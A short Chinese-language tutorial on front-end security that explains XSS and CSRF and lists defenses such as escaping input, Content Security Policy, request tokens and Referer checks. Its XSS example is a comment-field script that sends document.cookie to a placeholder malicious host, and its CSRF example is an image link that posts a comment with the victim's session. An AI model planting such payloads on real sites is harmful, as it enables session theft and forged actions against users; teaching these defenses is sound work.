前端安全之XSS、CSRF

XSS(cross-site-script)跨站脚本攻击

跨站脚本攻击是通过在网站中注入恶意代码，来达到劫取用户cookie信息，或者实施其他破坏行动。

例如：一个网站如果没有针对XSS做响应的安全措施，而且它存在添加评论的功能，那么用户可以在添加评论时输入如下文本

<script>var xhr =newXMLHttpRequest();
    xhr.open('GET','http://恶意网站.com/steal?cookie='+document.cookie,true);
    xhr.send()</script>

当其他用户查看包含这个评论的页面时，他们的浏览器会执行这段恶意脚本，导致攻击者成功窃取他们的Cookie，并进一步滥用这些信息。

如何防范XSS

1. 开发者应该采取措施，如输入验证、对用户输入尽心格式适当转义或者过滤，以保证用户输入的内容不会被当做代码执行。
2. 使用安全的编码库、限制可执行的脚本内容。
3. 在前端设置HTTP头部中的Content Security Policy (CSP)

CSRF(cross-site-request-forgery)跨站请求伪造

当你登录一个网站A后，在没有登出的情况下，你又跑到一个其他的论坛上闲逛，然后你看到一个美女的图片，你出于好奇心，点击了美女图片，这个时候，可能就被攻击了；原因是美女图片的的超链接（link）可能是不法分子弄的，指向的可能是A网站，由于你在A网站还是登陆态，那么你点击的这个link就是以你登录态的进行的，比如可以用你的登录态发布评论；严重的可能进行转账。而你却浑然不知。

比如图片的html的代码是这样的

<a href="http://www.a.com/addcomments?comment='XX是XX'"><img src='http://xx.com/beauty.jpg'/></a>

如何防范CSRF

1.在请求地址中添加 token 并验证

CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。

2.验证 HTTP Referer 字段

根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 bank.example/withdraw?ac…，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件。这时，该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL，通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击，他只能在他自己的网站构造请求，当用户通过黑客的网站发送请求到银行时，该请求的 Referer 是指向黑客自己的网站。因此，要防御 CSRF 攻击，银行网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。